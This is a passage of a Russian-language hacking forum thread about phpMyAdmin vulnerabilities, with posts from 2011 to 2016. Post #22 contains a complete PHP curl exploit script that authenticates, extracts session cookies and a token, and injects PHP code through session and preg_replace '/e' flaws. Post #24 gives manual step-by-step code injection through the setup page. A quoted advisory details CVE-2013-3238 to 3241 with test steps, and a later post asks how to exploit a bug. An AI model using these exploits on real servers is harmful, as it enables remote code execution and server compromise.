Старый 06.09.2011, 06:31   #21
Andrey1800
 
Регистрация: 31.08.2010
Сообщений: 196
Репутация: 154
По умолчанию

потому что баг с $_SESSION[!bla](php session serializer data injection vuln) был закрыт начиная с 5.3.3 и 5.2.14
Andrey1800 вне форума   Ответить с цитированием
Старый 30.03.2012, 12:16   #22
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
PHP <= 5.2.13 & PHP <= 5.3.2=(
PHP Version 5.3.5-1ubuntu7.7
phpMyAdmin 3.3.10deb1
limits:
magic_quotes=off
username
password



CURLOPT_URL => $pmaurl.'/index.php?token='.$token.'&_SESSION[trg_db]={${phpinfo()}}%00&_SESSION[uncommon_tables][0]=qwe||/e%00&_SESSION[src_uncommon_tables][0]=qwe||/e%00&session_to_unset=123',


PHP код:
<?php
$cookie 
'';
$user 'root';
$pass 'root';
$pmaurl 'http://localhost/phpmyadmin';
$ch curl_init();
curl_setopt_array($ch, array(
    
CURLOPT_POST => 1,
    
CURLOPT_URL => $pmaurl.'/index.php',
    
CURLOPT_HEADER => 1,
    
CURLOPT_RETURNTRANSFER => 1,
    
CURLOPT_FOLLOWLOCATION => 0,
    
CURLOPT_TIMEOUT => 10,
    
CURLOPT_SSL_VERIFYPEER => false,
    
CURLOPT_SSL_VERIFYHOST => false,
    
CURLOPT_POSTFIELDS => 'pma_username='.urlencode($user).'&pma_password='.urlencode($pass)
));
$result curl_exec($ch);
curl_close($ch);
// Extract cookies[URL=http://www.radikal.ru][IMG]http://s019.radikal.ru/i601/1203/41/73301aeeafb0.jpg[/IMG][/URL]
preg_match('/pma_mcrypt_iv=[^;]+; /'$result$matches);
$cookie $matches[0];
preg_match('/phpMyAdmin=[^;]+; /'$result$matches);
$cookie .= $matches[0];
preg_match('/pmaUser-[^;]+; /'$result$matches);
$cookie .= $matches[0];
preg_match('/pmaPass-([^;]+)/'$result$matches);
$cookie .= $matches[0];
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/'$result$matches);
$token $matches[2];
$ch curl_init();
curl_setopt_array($ch, array(
    
CURLOPT_URL => $pmaurl.'/index.php?token='.$token.'&_SESSION[trg_db]={${phpinfo()}}%00&_SESSION[uncommon_tables][0]=qwe||/e%00&_SESSION[src_uncommon_tables][0]=qwe||/e%00&session_to_unset=123',
    
CURLOPT_HEADER => 1,
    
CURLOPT_RETURNTRANSFER => 1,
    
CURLOPT_FOLLOWLOCATION => 0,
    
CURLOPT_TIMEOUT => 10,
    
CURLOPT_SSL_VERIFYPEER => false,
    
CURLOPT_SSL_VERIFYHOST => false,
    
CURLOPT_COOKIE => $cookie
));
$result curl_exec($ch);
curl_close($ch);
$ch curl_init();
curl_setopt_array($ch, array(
    
CURLOPT_URL => $pmaurl.'/server_synchronize.php?token='.$token.'&synchronize_db=1',
//    CURLOPT_HEADER => 1,
    
CURLOPT_RETURNTRANSFER => 1,
    
CURLOPT_FOLLOWLOCATION => 0,
    
CURLOPT_TIMEOUT => 10,
    
CURLOPT_SSL_VERIFYPEER => false,
    
CURLOPT_SSL_VERIFYHOST => false,
    
CURLOPT_COOKIE => $cookie
));
$result curl_exec($ch);
curl_close($ch);
echo 
$result;
?>




0-day?

Последний раз редактировалось Pashkela; 30.03.2012 в 14:53..
Pashkela вне форума   Ответить с цитированием
Старый 05.05.2012, 03:18   #23
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

до версии 3.3.9 можно найти пароль для авторизации при добавлении нового сервера в:

/phpMyAdmin/setup/->New server->PMA database

после в:

/phpMyAdmin/setup/->New server->Configuration storage

при наличии pma-юзера.

Пароль в открытом виде

Цитата:
Control user
A special MySQL user configured with limited permissions
Control user password

Последний раз редактировалось Pashkela; 05.05.2012 в 03:40..
Pashkela вне форума   Ответить с цитированием
Старый 08.05.2012, 23:20   #24
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

RCE вручную на старых версиях(3), где доступен на запись /config/config.inc.php и есть /setup и не работают паблик-сплойты:

1. Идем в /setup/
2. Создаем новый сервер/New server (вот как там по умолчанию прописано localhost, такой и оставляем)
3. Жмем редактировать новый сервер (edit)
4. Вписываем вместо localhost такой код: */phpinfo();/*
5. После обновления страницы тыкаем снизу Сохранить/Save - происходит запись в конфигаруционный файл /config/config.inc.php
6. Идем по адресу http://site.com/phpMyAdmin/config/config.inc.php - профит

PS: чтобы проверить, что сработало, можно сначала посмотреть config - Display - звездочки(*) не отфильтровались (замена на "-") = RCE

Тested on phpMyAdmin 3.1.1

PSS: иногда при создании нового сервера надо заменить root например на root1 (phpMyAdmin 3.3.6)

Последний раз редактировалось Pashkela; 08.05.2012 в 23:34..
Pashkela вне форума   Ответить с цитированием
Старый 25.04.2013, 21:58   #25
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

phpMyAdmin 3.5.8 LFI & Array Overwrite & Remote code execution

CVE-2013-3238

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/phpmyadmin_preg_replace.rb

Цитата:
[waraxe-2013-SA#103] - Multiple Vulnerabilities in phpMyAdmin
================================================== =============================

Author: Janek Vind "waraxe"
Date: 25. April 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-103.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpMyAdmin is a free software tool written in PHP, intended to handle the
administration of MySQL over the World Wide Web. phpMyAdmin supports a wide
range of operations with MySQL.

http://www.phpmyadmin.net/home_page/index.php


################################################## #############################
1. Remote code execution via preg_replace() in "libraries/mult_submits.inc.php"
################################################## #############################

Reason:
1. insufficient sanitization of user data before using in preg_replace
Attack vectors:
1. user-supplied parameters "from_prefix" and "to_prefix"
Preconditions:
1. logged in as valid PMA user
2. PHP version < 5.4.7 (Newer versions: Warning: preg_replace(): Null byte in regex)

PMA security advisory: PMASA-2013-2
CVE id: CVE-2013-3238

Affected phpMyAdmin versions: 3.5.8 and 4.0.0-RC2

Result: PMA user is able to execute arbitrary PHP code on webserver

Let's take a look at the source code:

Php script "libraries/mult_submits.inc.php" line 426 (PMA version 3.5.8):
------------------------[ source code start ]----------------------------------
case 'replace_prefix_tbl':
$current = $selected[$i];
$newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current);
$a_query = 'ALTER TABLE ' . PMA_backquote($selected[$i]) . ' RENAME ' .
PMA_backquote($newtablename) ; // CHANGE PREFIX PATTERN
$run_parts = true;
break;

case 'copy_tbl_change_prefix':
$current = $selected[$i];
$newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current);
$a_query = 'CREATE TABLE ' . PMA_backquote($newtablename) . ' SELECT * FROM '
. PMA_backquote($selected[$i]) ; // COPY TABLE AND CHANGE PREFIX PATTERN
$run_parts = true;
break;
------------------------[ source code end ]------------------------------------

We can see, that PHP variables "$from_prefix" and "$to_prefix" are used in
preg_replace function without any sanitization. It appears, that those variables
are coming from user submitted POST request as parameters "from_prefix" and
"to_prefix". It is possible to inject e-modifier with terminating null byte via
first parameter and php code via second parameter. In case of successful
exploitation injected PHP code will be executed on PMA webserver.

Tests:

1. Log in to PMA and select database:

http://localhost/PMA/index.php?db=test&token=25a6ce9e288070bd28c3f9aebf fad1b8

2. select one table from database by using checkbox and then select
"Replace table prefix" from select control "With selected:".

3. We can see form named "Replace table prefix:" with two input fields.
Type "/e%00" to the "From" field and "phpinfo()" to the "To" field.

4. Activate Tamper Data Firefox add-on:

https://addons.mozilla.org/en-us/firefox/addon/tamper-data/

5. Click "Submit", Tamper Data pops up, choose "Tamper".

6. Now we can modify POST request. Look for parameter "from_prefix".
It should be "%2Fe%2500", remove "25", so that it becomes "%2Fe%00".
Click "OK" and Firefox will send out manipulated POST request.

7. We are greeted by phpinfo function output - code execution is confirmed.

PMA version 4.0.0-RC2 contains almost identical vulnerability:

Php script "libraries/mult_submits.inc.php" line 482 (PMA version 4.0.0-RC2):
------------------------[ source code start ]----------------------------------
case 'replace_prefix_tbl':
$current = $selected[$i];
$newtablename = preg_replace("/^" . $_POST['from_prefix'] . "/", $_POST['to_prefix'],
$current);
$a_query = 'ALTER TABLE ' . PMA_Util::backquote($selected[$i]) .
' RENAME ' . PMA_Util::backquote($newtablename); // CHANGE PREFIX PATTERN
$run_parts = true;
break;

case 'copy_tbl_change_prefix':
$current = $selected[$i];
$newtablename = preg_replace("/^" . $_POST['from_prefix'] . "/", $_POST['to_prefix'],
$current);
$a_query = 'CREATE TABLE ' . PMA_Util::backquote($newtablename) .
' SELECT * FROM ' . PMA_Util::backquote($selected[$i]); // COPY TABLE AND CHANGE PREFIX PATTERN
$run_parts = true;
break;
------------------------[ source code end ]------------------------------------


################################################## ##########################
2. Locally Saved SQL Dump File Multiple File Extension Remote Code Execution
################################################## ##########################

Reason:
1. insecure names of locally saved dump files
Attack vectors:
1. user-supplied POST parameter "filename_template"
Preconditions:
1. logged in as valid PMA user
2. configuration setting "SaveDir" defined and pointed to
directory, which is writable for php and directly accessible over web
(by default "SaveDir" is empty and PMA is secure)
3. Apache webserver with unknown MIME for "sql" extension

PMA security advisory: PMASA-2013-3
CVE id: CVE-2013-3239

Affected are PMA versions 3.5.8 and 4.0.0-RC2

There is a security weakness in a way, how PMA handles
locally saved database dump files. It is possible, that saved
dump file has multiple extensions and if Apache webserver does not
know MIME type of "sql" extension (that's how it is by default),
then for example "foobar.php.sql" file will be treated as php file.

More information:


http://httpd.apache.org/docs/2.2/mod/mod_mime.html

section "Files with Multiple Extensions"


http://www.acunetix.com/websitesecurity/upload-forms-threat/

section "Case 4: Double extensions (part 1)"


Test:

1. activate export to local server, be sure, that directory is writable:

$cfg['SaveDir'] = './';

2. select database for test, insert row into table with included
php code like "<?php phpinfo();?>"

3. try to export that database or table, you have now additional option:

"Save on server in the directory ./"

Confirm that option, let the format be as "SQL".
"File name template" change to "@DATABASE () php" and click "Go" button.

Server responds with "Dump has been saved to file ./test.php.sql."

4. Request created file with webbrowser:

http://localhost/PMA/test.php.sql

In case of success we can see output of phpinfo() function, which
confirms remote code execution.


################################################## #############################
3. Local File Inclusion in "export.php"
################################################## #############################

Reason:
1. insufficient sanitization of user data before using in include_once
Attack vectors:
1. user-supplied POST parameter "what"
Preconditions:
1. logged in as valid PMA user
2. PHP must be < 5.3.4 for null-byte attacks to work

PMA security advisory: PMASA-2013-4
CVE id: CVE-2013-3240

Affected is PMA version 4.0.0-RC2


Php script "export.php" line 20:
------------------------[ source code start ]----------------------------------
foreach ($_POST as $one_post_param => $one_post_value) {
$GLOBALS[$one_post_param] = $one_post_value;
}

PMA_Util::checkParameters(array('what', 'export_type'));

// export class instance, not array of properties, as before
$export_plugin = PMA_getPlugin(
"export",
$what,
'libraries/plugins/export/',
array(
'export_type' => $export_type,
'single_table' => isset($single_table)
)
);
------------------------[ source code end ]------------------------------------


We can see, that user-supplied parameter "what" is used as second argument for
the function PMA_getPlugin(). Let's follow execution flow:


Php script "libraries/plugin_interface.lib.php" line 20:
------------------------[ source code start ]----------------------------------
function PMA_getPlugin(
$plugin_type,
$plugin_format,
$plugins_dir,
$plugin_param = false
) {
$GLOBALS['plugin_param'] = $plugin_param;
$class_name = strtoupper($plugin_type[0])
. strtolower(substr($plugin_type, 1))
. strtoupper($plugin_format[0])
. strtolower(substr($plugin_format, 1));
$file = $class_name . ".class.php";
if (is_file($plugins_dir . $file)) {
include_once $plugins_dir . $file;
------------------------[ source code end ]------------------------------------

As seen above, second argument "$plugin_format" is used in variable "$file"
and after that in functions is_file() and include_once(). No sanitization
is used against user submitted parameter "what", which leads to directory
traversal and local file inclusion vulnerability. In case of older PHP version
it may be possible to use null byte attack and include arbitrary files on server.


################################################## #############################
4. $GLOBALS array overwrite in "export.php"
################################################## #############################

Reason:
1. insecure POST parameters importing
Attack vectors:
1. user-supplied POST parameters
Preconditions:
1. logged in as valid PMA user

PMA security advisory: PMASA-2013-5
CVE id: CVE-2013-3241

Affected is PMA version 4.0.0-RC2


Php script "export.php" line 20:
------------------------[ source code start ]----------------------------------
foreach ($_POST as $one_post_param => $one_post_value) {
$GLOBALS[$one_post_param] = $one_post_value;
}

PMA_Util::checkParameters(array('what', 'export_type'));
------------------------[ source code end ]------------------------------------

We can see, that arbitrary values in $GLOBALS array can be overwritten by
submitting POST parameters. Such way of input data importing can be considered
as very insecure and in specific situation it is possible to overwrite any
variable in global scope. This can lead to many ways of exploitation. Below is
presented one of the possibilities.


Php script "export.php" line 59:
------------------------[ source code start ]----------------------------------
$onserver = false;
$save_on_server = false;
...
if ($quick_export) {
$onserver = $_REQUEST['quick_export_onserver'];
} else {
$onserver = $_REQUEST['onserver'];
}
// Will we save dump on server?
$save_on_server = ! empty($cfg['SaveDir']) && $onserver;
...
// Open file on server if needed
if ($save_on_server) {
$save_filename = PMA_Util::userDir($cfg['SaveDir'])
. preg_replace('@[/\\\\]@', '_', $filename);
...
if (! $file_handle = @fopen($save_filename, 'w')) {
$message = PMA_Message::error(
...
/* If we saved on server, we have to close file now */
if ($save_on_server) {
$write_result = @fwrite($file_handle, $dump_buffer);
fclose($file_handle);
------------------------[ source code end ]------------------------------------

As seen above, when configuration setting "SaveDir" is set, then it is possible
to save database dump to the PMA webserver. By default "SaveDir" is unset and
this prevents possible security problems. As we can overwrite any variables in
global scope, it is possible to set "SaveDir" to arbitrary value. This will
lead to directory traversal vulnerability - attacker is able to save database
dump to any directory in webserver, if only filesystem permissions allow that.
Database dump can be with extension ".sql". If attacker can dump database
with php code and tags in it, this content will be in dump file. If filename
is something like "foobar.php.sql", then by default most Apache webserver
installations will try to parse this dump file as php file, which can finally
lead to the remote code execution vulnerability.

Последний раз редактировалось Pashkela; 09.11.2013 в 14:31..
Pashkela вне форума   Ответить с цитированием
Старый 23.11.2014, 10:10   #26
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

PMASA-2014-14
Цитата:
Versions 4.0.x (prior to 4.0.10.6), 4.1.x (prior to 4.1.14.7) and 4.2.x (prior to 4.2.12) are affected.
LFI после логина.

http://www.phpmyadmin.net/home_page/...SA-2014-14.php
SynQ вне форума   Ответить с цитированием
Старый 05.04.2015, 07:06   #27
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
PMASA-2014-14


LFI после логина.

http://www.phpmyadmin.net/home_page/...SA-2014-14.php
кому лень качать двиг,
/gis_data_editor.php
Код:
if (! isset($gis_data['gis_type'])) {
    if (isset($_REQUEST['type']) && $_REQUEST['type'] != '') {
        $gis_data['gis_type'] = strtoupper($_REQUEST['type']);
    }
 ...
}
$geom_type = $gis_data['gis_type'];
$gis_obj = PMA_GIS_Factory::factory($geom_type);
/libraries/gis/pma_gis_factory.php
Код:
class PMA_GIS_Factory
{
    public static function factory($type)
    {
        include_once './libraries/gis/pma_gis_geometry.php';

        $type_lower = strtolower($type);
                if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
            return false;
        }
        if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {
pma с какой-то там версии не работает на php < 5.3, а в php 5.3 пофиксили нулл-байт
l1ght вне форума   Ответить с цитированием
Старый 24.06.2016, 11:52   #28
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

https://www.phpmyadmin.net/security/PMASA-2016-19/
A vulnerability was discovered that allows an SQL injection attack to run arbitrary commands as the control user.

https://www.phpmyadmin.net/security/PMASA-2016-27/
In some versions of PHP, it's possible for an attacker to pass parameters to the preg_replace() function which can allow the execution of arbitrary PHP code. This code is not properly sanitized in phpMyAdmin as part of the table search and replace feature.
SynQ вне форума   Ответить с цитированием
Старый 27.06.2016, 00:48   #29
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
https://www.phpmyadmin.net/security/PMASA-2016-27/
In some versions of PHP, it's possible for an attacker to pass parameters to the preg_replace() function which can allow the execution of arbitrary PHP code. This code is not properly sanitized in phpMyAdmin as part of the table search and replace feature.
pma 4.6 работает на PHP 5.5 в котором убрали модификатор /e
pma 4.4 требует PHP 5.3.7 в котором не работает нулл байт
pma 4.0 в регулярке и вовсе не юзер контент а, образно говоря, статические данные
+SQL injection as the control user
типо баги, но ..
l1ght вне форума   Ответить с цитированием
Старый 16.10.2016, 15:42   #30
house12
 
Регистрация: 16.10.2016
Сообщений: 1
Репутация: 0
По умолчанию

Цитата:
Сообщение от l1ght Посмотреть сообщение
pma 4.6 работает на PHP 5.5 в котором убрали модификатор /e
pma 4.4 требует PHP 5.3.7 в котором не работает нулл байт
pma 4.0 в регулярке и вовсе не юзер контент а, образно говоря, статические данные
+SQL injection as the control user
типо баги, но ..
Подскажите пожалуйста,
в 4.0 вообще никак эту багу не заюзать (https://www.exploit-db.com/exploits/40185/ )? или в каких-то случаях это возможно?
house12 вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot